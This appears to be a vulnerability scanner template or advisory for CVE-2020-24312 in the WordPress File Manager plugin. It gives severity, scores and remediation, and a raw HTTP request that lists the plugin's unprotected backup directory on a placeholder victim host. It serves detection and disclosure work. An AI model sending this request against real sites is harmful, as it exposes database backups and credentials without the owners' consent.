| Title | WordPress Plugin File Manager (wp-file-manager) Backup Disclosure |
|---|---|
| Author | x1m_martijn |
| Severity | High |
| Impact | This vulnerability can lead to unauthorized access to sensitive information, such as database backups, configuration files, and other sensitive data. |
| Remediation | Update the WordPress Plugin File Manager (wp-file-manager) to the latest version to mitigate the backup disclosure vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.51624 |
| CVE ID | CVE-2020-24312 |
| CWE ID | CWE-552 |
| Tags | cve cve2020 wordpress backups plugin webdesi9 vuln |
mndpsingh287 WP File Manager v6.4 and lower fails to restrict external access to the fm_backups directory with a .htaccess file. This results in the ability for unauthenticated users to browse and download any site backups, which sometimes include full database backups, that the plugin has taken.
GET /wp-content/uploads/wp-file-manager-pro/fm_backup/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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